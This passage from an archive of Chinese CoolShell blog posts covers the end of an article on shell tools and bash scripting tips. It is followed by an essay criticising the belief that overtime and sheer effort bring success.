href=\"https://beyondgrep.com/\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>ack</strong></a>、<a href=\"https://github.com/ggreer/the_silver_searcher\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>ag</strong></a> 和 <a href=\"https://github.com/BurntSushi/ripgrep\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>rg</strong></a> 是更好的grep，和上面的 <code>fd</code>一样，在递归目录匹配的时候，会使用你配置在 <code>.gitignore</code> 中的规则。</li>\n<li><code>rm</code> 是一个危险的命令，尤其是各种 <code>rm -rf …</code>，所以，<a href=\"https://github.com/andreafrancia/trash-cli/\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>trash</strong></a> 是一个更好的删除命令。</li>\n<li><code>man</code> 命令是好读文档的命令，但是man的文档有时候太长了，所以，你可以试试 <a href=\"https://github.com/tldr-pages/tldr\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>tldr</strong></a> 命令，把文档上的一些示例整出来给你看。</li>\n<li>如果你想要一个图示化的<code>ping</code>，你可以试试 <a href=\"https://github.com/denilsonsa/prettyping\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>prettyping</strong></a> 。</li>\n<li>如果你想搜索以前打过的命令，不要再用 Ctrl +R 了，你可以使用加强版的 <a href=\"https://github.com/dvorka/hstr\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>hstr</strong></a>  。</li>\n<li><a href=\"https://hisham.hm/htop/\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>htop</strong></a>  是 top 的一个加强版。然而，还有很多的各式各样的top，比如：用于看IO负载的 <a href=\"http://guichaz.free.fr/iotop/\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>iotop</strong></a>，网络负载的 <a href=\"http://www.ex-parrot.com/~pdw/iftop/\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>iftop</strong></a>, 以及把这些top都集成在一起的 <a href=\"https://github.com/Atoptool/atop\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>atop</strong></a>。</li>\n<li><a href=\"https://dev.yorhel.nl/ncdu\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>ncdu</strong></a>  比 du 好用多了用。另一个选择是 <a href=\"https://github.com/jarun/nnn\" rel=\"noopener noreferrer\" target=\"_blank\">nnn</a>。</li>\n<li>如果你想把你的命令行操作建录制成一个 SVG 动图，那么你可以尝试使用 <a href=\"https://asciinema.org/\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>asciinema</strong></a> 和 <a href=\"https://github.com/marionebl/svg-term-cli\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>svg-trem</strong></a> 。</li>\n<li><a href=\"https://github.com/jakubroztocil/httpie\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>httpie</strong></a> 是一个可以用来替代 <code>curl</code> 和 <code>wget</code> 的 http 客户端，<code>httpie</code> 支持 json 和语法高亮，可以使用简单的语法进行 http 访问: <code>http -v github.com</code>。</li>\n<li><a href=\"https://github.com/tmux/tmux\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>tmux</strong></a> 在需要经常登录远程服务器工作的时候会很有用，可以保持远程登录的会话，还可以在一个窗口中查看多个 shell 的状态。</li>\n<li><a href=\"https://github.com/klaussinani/taskbook\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>Taskbook</strong></a> 是可以完全在命令行中使用的任务管理器 ，支持 ToDo 管理，还可以为每个任务加上优先级。</li>\n<li><a href=\"https://github.com/Russell91/sshrc\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>sshrc</strong></a> 是个神器，在你登录远程服务器的时候也能使用本机的 shell 的 rc 文件中的配置。</li>\n<li><a href=\"https://github.com/allinurl/goaccess\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>goaccess</strong></a>  这个是一个轻量级的分析统计日志文件的工具，主要是分析各种各样的 access log。</li>\n</ul>\n<p>关于这些增加命令，主要是参考自下面的这些文章</p>\n<ol>\n<li><a href=\"https://dev.to/_darrenburns/10-tools-to-power-up-your-command-line-4id4\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">10 Tools To Power Up Your Command Line</a></li>\n<li><a href=\"https://dev.to/_darrenburns/tools-to-power-up-your-command-line-part-2-2737\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">5 More Tools To Power Up Your Command Line (Part 2 Of Series)</a></li>\n<li><a href=\"https://dev.to/_darrenburns/power-up-your-command-line-part-3-4o53\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">Power Up Your Command Line, Part 3</a></li>\n<li><a href=\"https://darrenburns.net/posts/tools/\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">Power Up Your Command Line</a></li>\n<li><a href=\"https://hacker-tools.github.io/\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">Hacker Tools</a></li>\n</ol>\n<h4>Shell 和脚本</h4>\n<p>shell 是可以与计算机进行高效交互的文本接口。shell 提供了一套交互式的编程语言（脚本），shell的种类很多，比如 <strong>sh</strong>、<strong>bash</strong>、<strong>zsh</strong> 等。</p>\n<p>shell 的生命力很强，在各种高级编程语言大行其道的今天，很多的任务依然离不开 shell。比如可以使用 shell 来执行一些编译任务，或者做一些批处理任务，初始化数据、打包程序等等。</p>\n<p>现在比较流行的是 <strong>zsh</strong> + <a href=\"https://ohmyz.sh/\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>oh-my-zsh</strong></a> + <a href=\"https://github.com/zsh-users/zsh-autosuggestions\" rel=\"noopener noreferrer\" target=\"_blank\"><strong>zsh-autosuggestions</strong></a> 的组合，你也可以试试看。其中 zsh 和 oh-my-zsh 算是常规操作了，但是 zsh-autosuggestions 特别有用，可以超级快速的帮你补全你输入过的命令，让命令行的操作更加高效。</p>\n<p>另外，<strong><a href=\"https://fishshell.com/\" rel=\"noopener noreferrer\" target=\"_blank\">fish</a> </strong>也是另外一个牛逼的shell，比如：命令行自动完成（根据历史记录），命令行命令高亮，当你要输入命令行参数的时候，自动提示有哪些参数…… fish在很多地方也是用起来很爽的。和上面的 oh-my-zsh 有点不分伯仲了。</p>\n<p>你也许会说，用 Python 脚本或 PHP 来写脚本会比 Shell 更好更没有 bug，但我要申辩一下:</p>\n<ul>\n<li>其一，如果你有一天要维护线上机器的时候，或是到了银行用户的系统（与外网完全隔离，而且服务器上没有安装 Python/PHP 或是他们的的高级库，那么，你只有 Shell 可以用了）。</li>\n<li>其二，而且，如果要跟命令行交互很多的话，Shell 是不二之选，试想一下，如果你要去 100 台远程的机器上查access.log 日志中有没有某个错误，完成这个工作你是用 PHP/Python 写脚本快还是用 Shell 写脚本快呢？</li>\n</ul>\n<p>所以，<strong>我们还要学会只使用传统的grep/awk/sed等等这些POSIX的原生的系统默认安装的命令</strong>。</p>\n<p>当然，要写好一个脚本并不容易，下面有一些小模板供你参考：</p>\n<p>处理命令行参数的一个样例</p>\n<pre class=\"EnlighterJSRAW\">while [ \"$1\" != \"\" ]; do\n    case $1 in\n        -s  )   shift\t\n\t\tSERVER=$1 ;;  \n        -d  )   shift\n\t\tDATE=$1 ;;\n\t--paramter|p ) shift\n\t\tPARAMETER=$1;;\n        -h|help  )   usage # function call\n                exit ;;\n        * )     usage # All other parameters\n                exit 1\n    esac\n    shift\ndone </pre>\n<p>命令行菜单的一个样例</p>\n<pre class=\"EnlighterJSRAW\">\n#!/bin/bash\n# Bash Menu Script Example\n\nPS3='Please enter your choice: '\noptions=(\"Option 1\" \"Option 2\" \"Option 3\" \"Quit\")\nselect opt in \"${options[@]}\"\ndo\n    case $opt in\n        \"Option 1\")\n            echo \"you chose choice 1\"\n            ;;\n        \"Option 2\")\n            echo \"you chose choice 2\"\n            ;;\n        \"Option 3\")\n            echo \"you chose choice $REPLY which is $opt\"\n            ;;\n        \"Quit\")\n            break\n            ;;\n        *) echo \"invalid option $REPLY\";;\n    esac\ndone\n</pre>\n<p>颜色定义，你可以使用 <code>echo -e \"${Blu}blue ${Red}red ${RCol}etc....\"</code> 进行有颜色文本的输出</p>\n<pre class=\"EnlighterJSRAW\">\nRCol='\\e[0m'    # Text Reset\n\n# Regular           Bold                Underline           High Intensity      BoldHigh Intens     Background          High Intensity Backgrounds\nBla='\\e[0;30m';     BBla='\\e[1;30m';    UBla='\\e[4;30m';    IBla='\\e[0;90m';    BIBla='\\e[1;90m';   On_Bla='\\e[40m';    On_IBla='\\e[0;100m';\nRed='\\e[0;31m';     BRed='\\e[1;31m';    URed='\\e[4;31m';    IRed='\\e[0;91m';    BIRed='\\e[1;91m';   On_Red='\\e[41m';    On_IRed='\\e[0;101m';\nGre='\\e[0;32m';     BGre='\\e[1;32m';    UGre='\\e[4;32m';    IGre='\\e[0;92m';    BIGre='\\e[1;92m';   On_Gre='\\e[42m';    On_IGre='\\e[0;102m';\nYel='\\e[0;33m';     BYel='\\e[1;33m';    UYel='\\e[4;33m';    IYel='\\e[0;93m';    BIYel='\\e[1;93m';   On_Yel='\\e[43m';    On_IYel='\\e[0;103m';\nBlu='\\e[0;34m';     BBlu='\\e[1;34m';    UBlu='\\e[4;34m';    IBlu='\\e[0;94m';    BIBlu='\\e[1;94m';   On_Blu='\\e[44m';    On_IBlu='\\e[0;104m';\nPur='\\e[0;35m';     BPur='\\e[1;35m';    UPur='\\e[4;35m';    IPur='\\e[0;95m';    BIPur='\\e[1;95m';   On_Pur='\\e[45m';    On_IPur='\\e[0;105m';\nCya='\\e[0;36m';     BCya='\\e[1;36m';    UCya='\\e[4;36m';    ICya='\\e[0;96m';    BICya='\\e[1;96m';   On_Cya='\\e[46m';    On_ICya='\\e[0;106m';\nWhi='\\e[0;37m';     BWhi='\\e[1;37m';    UWhi='\\e[4;37m';    IWhi='\\e[0;97m';    BIWhi='\\e[1;97m';   On_Whi='\\e[47m';    On_IWhi='\\e[0;107m';\n</pre>\n<p>取当前运行脚本绝对路径的示例：（注：Linux下可以用 <code>dirname $(readlink -f $0)</code> ）</p>\n<pre class=\"EnlighterJSRAW\">\nFILE=\"$0\"\nwhile [[ -h ${FILE} ]]; do\n    FILE=\"`readlink \"${FILE}\"`\"\ndone\npushd \"`dirname \"${FILE}\"`\" &gt; /dev/null\nDIR=`pwd -P`\npopd &gt; /dev/null\n</pre>\n<p>如何在远程服务器运行一个本地脚本</p>\n<pre class=\"EnlighterJSRAW\">#无参数\nssh user@server 'bash -s' &lt; local.script.sh\n\n#有参数\nssh user@server ARG1=\"arg1\" ARG2=\"arg2\" 'bash -s' &lt; local_script.sh\n</pre>\n<p>如何检查一个命令是否存在，用 <code>which</code> 吗？最好不要用，因为很多操作系统的 <code>which</code> 命令没有设置退出状态码，这样你不知道是否是有那个命令。所以，你应该使用下面的方式。</p>\n<pre class=\"EnlighterJSRAW\">\n# POSIX 兼容:\ncommand -v [the_command]\n\n# bash 环境:\nhash [the_command]\ntype [the_command]\n\n# 示例：\ngnudate() {\n    if hash gdate 2&gt; /dev/null; then\n        gdate \"$@\"\n    else\n        date \"$@\"\n    fi\n}\n</pre>\n<p>然后，如果要写出健壮性更好的脚本，下面是一些相关的技巧：</p>\n<ul>\n<li>使用 <code>-e</code> 参数，如：<code>set -e</code> 或是 <code>#!/bin/sh -e</code>，这样设置会让你的脚本出错就会停止运行，这样一来可以防止你的脚本在出错的情况下还在拼拿地干活停不下来。</li>\n<li>使用 <code>-u</code> 参数，如： <code>set -eu</code>，这意味着，如果你代码中有变量没有定义，就会退出。</li>\n<li>对一些变理，你可以使用默认值。如：<code>${FOO:-'default'}</code></li>\n<li>处理你代码的退出码。这样方便你的脚本跟别的命令行或脚本集成。</li>\n<li>尽量不要使用 <code>;</code> 来执行多个命令，而是使用 <code>&amp;&amp;</code>，这样会在出错的时候停止运行后续的命令。</li>\n<li>对于一些字符串变量，使用引号括起，避免其中有空格或是别的什么诡异字符。</li>\n<li>如果你的脚有参数，你需要检查脚本运行是否带了你想要的参数，或是，你的脚本可以在没有参数的情况下安全的运行。</li>\n<li>为你的脚本设置 <code>-h</code> 和 <code>--help</code> 来显示帮助信息。千万不要把这两个参数用做为的功能。</li>\n<li>使用 <code>$()</code> 而不是 <code class=\"EnlighterJSRAW\"></code> 来获得命令行的输出，主要原因是易读。</li>\n<li>小心不同的平台，尤其是 MacOS 和 Linux 的跨平台。</li>\n<li>对于 <code>rm -rf</code> 这样的高危操作，需要检查后面的变量名是否为空，比如：<code>rm -rf $MYDIDR/*</code> 如果 <code>$MYDIR</code>为空，结果是灾难性的。</li>\n<li>考虑使用 “find/while” 而不是 “for/find”。如：<code>for F in $(find . -type f) ; do echo $F; done</code> 写成 <code>find . -type f | while read F ; do echo $F ; done</code> 不但可以容忍空格，而且还更快。</li>\n<li>防御式编程，在正式执行命令前，把相关的东西都检查好，比如，文件目录有没有存在。</li>\n</ul>\n<p>你还可以使用ShellCheck 来帮助你检查你的脚本。</p>\n<ul>\n<li><a href=\"https://www.shellcheck.net/\" rel=\"noopener noreferrer\" target=\"_blank\">https://www.shellcheck.net/</a></li>\n</ul>\n<p>最后推荐一些 Shell 和脚本的参考资料。</p>\n<p>各种有意思的命令拼装，一行命令走天涯:</p>\n<ul>\n<li><a href=\"http://www.bashoneliners.com/\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">http://www.bashoneliners.com/</a></li>\n<li><a href=\"http://www.shell-fu.org/\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">http://www.shell-fu.org/</a></li>\n<li><a href=\"http://www.commandlinefu.com/\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">http://www.commandlinefu.com/</a></li>\n</ul>\n<p>下面是一些脚本集中营，你可以在里面淘到各种牛X的脚本：</p>\n<ul>\n<li><a href=\"http://www.shelldorado.com/scripts/\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">http://www.shelldorado.com/scripts/</a></li>\n<li><a href=\"https://snippets.siftie.com/public/tag/bash/\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">https://snippets.siftie.com/public/tag/bash/</a></li>\n<li><a href=\"https://bash.cyberciti.biz/\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">https://bash.cyberciti.biz/</a></li>\n<li><a href=\"https://github.com/alexanderepstein/Bash-Snippets\" rel=\"noopener noreferrer\" target=\"_blank\">https://github.com/alexanderepstein/Bash-Snippets</a></li>\n<li><a href=\"https://github.com/miguelgfierro/scripts\" rel=\"noopener noreferrer\" target=\"_blank\">https://github.com/miguelgfierro/scripts</a></li>\n<li><a href=\"https://github.com/epety/100-shell-script-examples\" rel=\"noopener noreferrer\" target=\"_blank\">https://github.com/epety/100-shell-script-examples</a></li>\n<li><a href=\"https://github.com/ruanyf/simple-bash-scripts\" rel=\"noopener noreferrer\" target=\"_blank\">https://github.com/ruanyf/simple-bash-scripts</a></li>\n</ul>\n<p>甚至写脚本都可以使用框架:</p>\n<ul>\n<li>写bash脚本的框架 <a href=\"https://github.com/Bash-it/bash-it\" rel=\"noopener noreferrer\" target=\"_blank\">https://github.com/Bash-it/bash-it</a></li>\n</ul>\n<p>Google的Shell脚本的代码规范：</p>\n<ul>\n<li><a href=\"https://google.github.io/styleguide/shell.xml\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">https://google.github.io/styleguide/shell.xml</a></li>\n</ul>\n<p>最后，别忘了几个和shell有关的索引资源：</p>\n<ul>\n<li><a href=\"https://github.com/alebcay/awesome-shell\" rel=\"noopener noreferrer\" target=\"_blank\">https://github.com/alebcay/awesome-shell</a></li>\n<li><a href=\"https://github.com/awesome-lists/awesome-bash\" rel=\"noopener noreferrer\" target=\"_blank\">https://github.com/awesome-lists/awesome-bash</a></li>\n<li><a href=\"https://terminalsare.sexy/\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">https://terminalsare.sexy/</a></li>\n</ul>\n<p>最后，如果你还有什么别的更好的玩的东西，欢迎在评论区留言，或是到 <a href=\"https://github.com/coolshellx/articles\" rel=\"noopener noreferrer\" target=\"_blank\">coolshellx/ariticles @ github</a> 修改本文。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-4-17 “努力就会成功”.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"166\" src=\"../wp-content/uploads/2019/04/busy.work_-300x166.jpg\" width=\"300\"/> 那一年，我加入了某知名公司的某知名部门，在办公室中，我看到了到处都挂着——“努力就会成功”的条幅，这个部门中大多数员工的邮件签名都会有“努力就会成功”，我感到一种热血沸腾的气氛，这是我在多年工作来都没有感受到的，当时挺高兴地能和这样一群人工作，也没多想。直到有一天，我看到这些高级的软件工程师们把自己关在又挤又吵的会议室中，拼命地加班，真是拼命，周一到周日，每天早上10点到凌晨3点甚至凌晨5点，连国庆节都来上班，就在这样的环境和状态下，连续干了三个多月……上线前，QA找到了1000多个bug（你没看错，就是一千多个），最后这个项目用了1年多的时间来返工，本来一个6-8个月的项目，团队被打了鸡血想在3个月内完成，最终却花了近两年的时间来返工……（要知道，我以前在外国公司工作，外国老板看到团队在长时间加班会感到焦虑的，因为加班通常代表着有不好的事情正在发生……）</p>\n<p>所以对此，我是有点看不懂的，看不懂的是，为什么这么一群聪明的人，放着明亮宽敞的办公桌不用，硬要挤在一个又窄又小又吵又热的小空间里工作，而且要这么透支地写那么重要的很关键的系统级的代码……这就好像，一架在一个小作坊里被人加班加点赶工出来的飞机，谁敢坐啊？！老实说，这群工程师真是很优秀的工程师，他们完全是可以做得更好的……但是却做出了如此蹩脚和糟糕的系统……他们说，这样坐在一起可以做到快速沟通，然而，我觉得这恰恰是一种没有章法的表现。</p>\n<p>也是在这家公司，在这个项目烂尾一年前，公司感到了危机，CEO号召全体996，举全公司之力从董事长到下面基层员工对抗外部所谓的威胁，有的部门为了表现，甚至997，然而，在一年后，做出了一个烂得不能再烂的软件，最终以失败告终，很多人包括CEO也因此下课……</p>\n<p><span id=\"more-19271\"></span></p>\n<p>这是最让我看不懂的一个事了，为什么这么如此成功的公司的高级管理层会做出这样的事情，而且还制定这样的政策……把这么优秀的员工以及公司大把把数以亿计的钞票投入到这种错误的路线上来，而且还拼命地加班…… 他们脑子里在想什么呢？难道他们真的以为，有足够多的钱，足够多的人，然后拼命加班，就能打败对手吗？……</p>\n<h4>你喜欢这句话吗？</h4>\n<p>“努力就会成功”，“加班就会有成就”，“勤劳就会致富”……是这样吗？仔细思考一些，这些话存在严重的逻辑问题，我们在高中的时候学过“充分条件”，“必要条件”和“充要条件”！<strong>“努力就会成功”这句话，把“努力”说成了“成功”的充要条件，这不就是错的吗？努力只是成功的必要条件之一。</strong>你在错误的方向或是格局很小的方向上努力，能有用么？你努力地要饭，你努力地当搬运工，你努力地打骚扰电话销卖保险…… 在错误和小格局的方向上努力，你还觉得努力还有用吗？</p>\n<p>但是很多人是很喜欢“努力就会成功”这句话，这类人也很喜欢看很多小人物通过自己的努力变成成功人士的励志的故事，为什么这种故事会被很多人喜欢甚至感动。因为这很符合大众的心理诉求，这种诉求其实就是一种只要使力只要拼命了就可以成功的心理诉求，<strong>因为这类人基本上都是能力有限，不知道怎么提升自己的人，当他们看到只要拼命使力就可以成功的观点时，他们就会有共鸣，就会感到，不用学习那些晦涩难懂高级的知识，不用掌握和练习哪些高级技能，自己只需要在低级的事情上拼命和努力，加更多的班和干更多活，自己就会像电影中的那些小人物一样，总有一天会成功的</strong>……</p>\n<p><strong>“努力就会成功，勤劳就会致富”，不但符合那些低级管理者的利益诉求，同样符合那些能力不足不愿意学习和成长的人的诉求。因为，他们混淆了行动与进展，忙碌与多产，他们以为能靠蛮力可以弥补思维上的惰性，靠拼命可以弥补能力上的不足……</strong></p>\n<p>喜欢或认同这句话的人基本是能力上有问题的人，这类适合做劳动密集型的事。不信你可以试试看，当一件事的难度超过一定程度的时候，那些聪明的人会找到更省力的方法，而能力上有问题的，还是在那使蛮力。</p>\n<h4>我成长的过程</h4>\n<p>回想我的过去，我在2001年那年被外包到了某银行做开发，标准的9/10/6，封闭开发，就是用C语言在AIX系统里堆一些银行的交易逻辑，老实说，这个过程并没有让我学到什么东西，也没有什么成长，我每天想的就是我要离开这个地方，所以，我在晚上10点以后开始看书学习到11点半，并使用工作环境动手实践书上的代码，一年后，我精读了《TCP/IP详解》《Windows核心编程》《Java编程思想》等书。然后，我找到一份外企业的工作，月薪一下翻了三倍。</p>\n<p>在外企不加班，但是当时的外企压力也很大，对代码的质量要求的也很高，来的第二个月，就因为代码写的太差，差点被开掉，所以，为了能够达到更高的标准，我自然也是很努力的，在周末甚至黄金周节假日我哪里都不去，我就去公司，但我不是在公司上班，因为我没有自己的电脑，所以，我只能蹭公司的电脑，这导致办公楼的管理人员经常打电话给我让我帮他在周末的时候管理物业…… <strong>在这家公司是我成长最快的时候，然而，并不是因为我的努力，而是因为有很多比我牛逼的人在Code Review上给我大量的帮助，在项目上帮助我，我的努力学习虽然也有作用，但更多的是高手对我的帮助</strong>。</p>\n<p><strong>再回想一下我以前在职场上的很多关键点，不是因为我加班了，而是因为在某些关键问题上，我跳出来解决了其它人都解决不了的问题</strong>，我解决了一个网络通信莫名其妙的断掉的问题，我把性能优化了很多倍，我解决了一个不能重现的一个困扰团队3个星期的问题（其实就是大家没有认真读文档），我在入职一个公司的第一天里就为这个公司解决了一个历史遗留问题……在Platform，我每周解决了bug数是全公司的其它人的总和还要多（从不加班），在路透，我带团队优化的系统的性能是全球所有研发中心最高的，在亚马逊，两周打通美国和德国的订单和商品列表系统……我也有失败的时候，<strong>而我失败的时候，总是因为我搞不定事，即便是加班拼命努力也无济于事</strong>！是的，我的职业生涯的成长，最根本的不是你有多努力，有多勤奋，而是你能搞定很多人搞不定的事！</p>\n<p>你不信你可以看看你们公司那些不用加班，就算什么也不干，公司也要花钱养的技术人员，他们的成功一定不是努力和加班加出来的，<strong>你会发现这些人拼的不是谁干的多，而是谁解决的问题更有难</strong>。</p>\n<p><strong>我加班996的时候，从来都不是我成长最快的时候，而我和一群牛人在解决难题的时才是我成长最快的时候。</strong></p>\n<h4>Work Smart</h4>\n<p>2015年因为父亲病危要动手术，所以我不能工作在家照顾父亲。于是我就成为了一个自由职业者，帮很多公司解决一些技术问题，好多都是高并发和系统稳定性的问题，有一些是分布式架构的运维的问题，还有一些是工程管理和企业文化问题……有一些小公司的单体架构在业务上一推广就宕机了，于是把我叫过去，我在生产线上直接re-arch，用一些非常规的手段，1-2天就把性能救过来了…… 还有就是解决一些点状的技术问题，还帮用户做一些design/code review……，有70%工作是真正的按劳取酬，也就是先把问题解决了再谈要收多少钱，<strong>那段时间我出卖的不是我的劳动力，而是我的技能，所以，反而比打工挣得多多了，而且还比较轻闲</strong>……</p>\n<p>有时候，我还调侃到，你在大公司里一天写上万行代码，拼命地加班，你信不信，我只用写几百行代码就挣得比你多？<strong>同样是一个简单的 for-loop 语句，有人写的就值1万元一行，而你写的则一文不值。关键不在于谁写的代码多，关键在于我们解决了什么样的问题</strong>。你千万不要以为只要付你足够的钱，你就可以996，让你干什么都可以，然而当你自己把自己当成劳动力的时候，你也就只是一个像牲口一样的行事了！</p>\n<p><img alt=\"\" class=\"aligncenter size-large\" height=\"360\" src=\"../wp-content/uploads/2019/04/hard.work_-1024x576.jpg\" width=\"640\"/></p>\n<p><strong>这就好像算法一样，你那个O(n^2)的递归穷举算法，再怎么样也干不过我的O(n)的动态规划的算法。</strong></p>\n<p>现在我拿了投资在创业，一开始帮助各大企业建高并发高可用云化架构的公司，现在还给企业提供金融和营销能力，我跟客户谈业务的时候，基本不是因为我有多加班多努力地做方案，而是我能一针见血地指出用户的问题，帮用户解决问题。我在很多地方都见到阿里、蚂蚁、华为、HP……，一个小创业公司跟他们竞争真的很难，但我知道，要能竞争过这些大公司，这根本就不是能够通过加班996或是拼命努力就能搞定的，我必需要使用更好的方式，所以，除了更好地站在用户的立场，能够给用户制定更符合用户的技术方案之外，我必需做到我的技术方案不比这些大公司的差，而这一点，完全不是加班、努力或是勤奋能出来的，这是需要靠自己的经验、学习能力、归纳思考、和与更多牛人交流才出的来的……当我给某银行CIO介绍完我的分布式系统的方案后，CIO给我微微鞠躬说：“过去一两年，我听过几乎所有国内外产商跟我讲的分布式的方案，你的是我听过的最好的方案！谢谢你！”，当我给某省电信行业公司讲了一下DevOps的方案后，老总对我说：“你们真的是做事的人！”，当用户来问我：“你们的API网关是怎么写的？为什么运行的这么稳定？”……这些话都是让我很心里很暖的话……<strong>当然，我也有被骂的时候，也有失败的时候，但基本上来说，我无法通过努力工作改善我思维的不足……</strong></p>\n<p><strong>我们学计算机当程序员最大的福气不是可以到大公司里加班和996，而是我们生活在了第三次工业革命的信息化时代，这才是最大的福气，所以，我们应该努力地提升自己，而不是把自己当劳动力一样的卖了！在这样的一个时代，你要做的不是通过加班和拼命来跪着挣钱，而是通过技能来躺着挣钱……</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" 